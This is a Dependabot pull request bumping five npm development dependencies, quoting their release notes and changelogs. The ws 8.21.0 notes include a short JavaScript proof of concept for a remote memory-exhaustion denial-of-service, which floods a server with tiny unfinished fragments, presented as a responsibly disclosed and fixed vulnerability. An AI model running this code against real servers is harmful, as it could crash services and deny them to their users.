deps: bump the npm-development group with 5 updates

[dependabot]

Bumps the npm-development group with 5 updates:

Package	From	To
baseline-browser-mapping	2.10.31	2.10.32
es-object-atoms	1.1.1	1.1.2
tinyexec	1.1.2	1.2.2
tldts	7.0.30	7.1.2
ws	8.20.1	8.21.0

Updates baseline-browser-mapping from 2.10.31 to 2.10.32

Release notes

Sourced from baseline-browser-mapping's releases.

v2.9.3 - remove process.loadEnvFile()

What's Changed

• Remove process.loadEnfFile() from main script by @​tonypconway in web-platform-dx/baseline-browser-mapping#112

Full Changelog: web-platform-dx/baseline-browser-mapping@v2.9.2...v2.9.3

Commits

• 7d7d6ca Patch to 2.10.32 because browser or feature data changed
• 5f28932 Browser or feature data changed
• e2da608 Updating static site
• 841e2db Updating static site
• See full diff in compare view

Updates es-object-atoms from 1.1.1 to 1.1.2

Changelog

Sourced from es-object-atoms's changelog.

v1.1.2 - 2026-05-22

Commits

• [Dev Deps] update @ljharb/eslint-config, @ljharb/tsconfig, auto-changelog, eslint, npmignore 41e3d94
• [types] improve isObject type 758edc2

Commits

• 9e62644 v1.1.2
• 41e3d94 [Dev Deps] update @ljharb/eslint-config, @ljharb/tsconfig, `auto-changelo...
• 758edc2 [types] improve isObject type
• See full diff in compare view

Updates tinyexec from 1.1.2 to 1.2.2

Release notes

Sourced from tinyexec's releases.

1.2.2

What's Changed

• fix: correct shebang regex by @​43081j in tinylibs/tinyexec#134

Full Changelog: tinylibs/tinyexec@1.2.1...1.2.2

1.2.1

What's Changed

• test: add async throw tests by @​43081j in tinylibs/tinyexec#133

Full Changelog: tinylibs/tinyexec@1.2.0...1.2.1

1.2.0

What's Changed

• refactor: inline parse by @​hyperz111 in tinylibs/tinyexec#100
• chore: check types on lint by @​43081j in tinylibs/tinyexec#119
• test: add more normalize tests by @​43081j in tinylibs/tinyexec#120
• build: update tsdown config and dependencies by @​hyperz111 in tinylibs/tinyexec#121
• chore(deps-dev): bump the development-dependencies group with 2 updates by @​dependabot[bot] in tinylibs/tinyexec#122
• chore(deps-dev): bump the development-dependencies group with 6 updates by @​dependabot[bot] in tinylibs/tinyexec#123
• chore: set workflow permissions by @​43081j in tinylibs/tinyexec#124
• feat: add nodePath flag by @​43081j in tinylibs/tinyexec#125
• test: tidy up env tests by @​43081j in tinylibs/tinyexec#126
• chore(deps-dev): bump the development-dependencies group with 4 updates by @​dependabot[bot] in tinylibs/tinyexec#128
• chore(deps): bump the github-actions group with 2 updates by @​dependabot[bot] in tinylibs/tinyexec#127
• chore: setup funding / publish env by @​43081j in tinylibs/tinyexec#129
• chore: enable staged publishes by @​43081j in tinylibs/tinyexec#130

New Contributors

• @​hyperz111 made their first contribution in tinylibs/tinyexec#100

Full Changelog: tinylibs/tinyexec@1.1.2...1.2.0

Commits

• 65ef525 fix: correct shebang regex (#134)
• 6d499f2 test: add async throw tests (#133)
• 3bafedb chore: enable staged publishes (#130)
• a6b7a92 chore: setup funding / publish env (#129)
• 264dc21 chore(deps): bump the github-actions group with 2 updates (#127)
• 482f3ab chore(deps-dev): bump the development-dependencies group with 4 updates (#128)
• bd5599e test: tidy up env tests (#126)
• ac2d3b3 feat: add nodePath flag (#125)
• 5ae7f87 chore: set workflow permissions (#124)
• 4ebc0aa chore(deps-dev): bump the development-dependencies group with 6 updates (#123)
• Additional commits viewable in compare view

Updates tldts from 7.0.30 to 7.1.2

Release notes

Sourced from tldts's releases.

v7.1.2

💅 Polish

• tldts-core, tldts-utils
  • Security-review hardening: IPv6 hextet validation, build-time guard, docs & dep audit #2587 (@​remusao)

Authors: 1

• Rémi (@​remusao)

v7.1.1

💅 Polish

• tldts-core, tldts-tests
  • fix: make hostname extraction match WHATWG URL host boundaries #2586 (@​remusao)

Authors: 1

• Rémi (@​remusao)

v7.1.0

🏃‍♀️ Performance

• tldts-core, tldts-experimental, tldts-icann, tldts-tests, tldts-utils, tldts
  • Better performance and reduce memory allocations #2585 (@​remusao)

Authors: 1

• Rémi (@​remusao)

v7.0.32

🐛 Bug Fix

• tldts-core, tldts-tests
  • fix: accept labels ending with an underscore #2583 (@​remusao)

🏠 Internal

• Try to fix release workflow #2584 (@​remusao)

Authors: 1

• Rémi (@​remusao)

v7.0.31

📜 Update Public Suffix List

• tldts-experimental, tldts-icann, tldts
  • Update upstream public suffix list #2567 (@​remusao)

... (truncated)

Changelog

Sourced from tldts's changelog.

v7.1.2 (Sun May 24 2026)

💅 Polish

• tldts-core, tldts-utils
  • Security-review hardening: IPv6 hextet validation, build-time guard, docs & dep audit #2587 (@​remusao)

Authors: 1

• Rémi (@​remusao)

---

v7.1.1 (Sun May 24 2026)

💅 Polish

• tldts-core, tldts-tests
  • fix: make hostname extraction match WHATWG URL host boundaries #2586 (@​remusao)

Authors: 1

• Rémi (@​remusao)

---

v7.1.0 (Sat May 23 2026)

🏃‍♀️ Performance

• tldts-core, tldts-experimental, tldts-icann, tldts-tests, tldts-utils, tldts
  • Better performance and reduce memory allocations #2585 (@​remusao)

Authors: 1

• Rémi (@​remusao)

---

v7.0.32 (Sat May 23 2026)

🐛 Bug Fix

• tldts-core, tldts-tests
  • fix: accept labels ending with an underscore #2583 (@​remusao)

🏠 Internal

• Try to fix release workflow #2584 (@​remusao)

... (truncated)

Commits

• 5525709 Bump version to: v7.1.2 [skip ci]
• 972ecec Update CHANGELOG.md [skip ci]
• b258f25 Security-review hardening: IPv6 hextet validation, build-time guard, docs & d...
• 54cf9e3 Bump version to: v7.1.1 [skip ci]
• ec8e3b8 Update CHANGELOG.md [skip ci]
• 41bcd7b fix: make hostname extraction match WHATWG URL host boundaries (#2586)
• 9b68080 Bump version to: v7.1.0 [skip ci]
• 29985ea Update CHANGELOG.md [skip ci]
• ceb10a1 Better performance and reduce memory allocations (#2585)
• d023021 Bump version to: v7.0.32 [skip ci]
• Additional commits viewable in compare view

Updates ws from 8.20.1 to 8.21.0

Release notes

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Commits

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• See full diff in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore <dependency name> major version will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)
• @dependabot ignore <dependency name> minor version will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)
• @dependabot ignore <dependency name> will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)
• @dependabot unignore <dependency name> will remove all of the ignore conditions of the specified dependency
• @dependabot unignore <dependency name> <ignore condition> will remove the ignore condition of the specified dependency and ignore conditions

[dependabot]

Looks like these dependencies are updatable in another way, so this is no longer needed.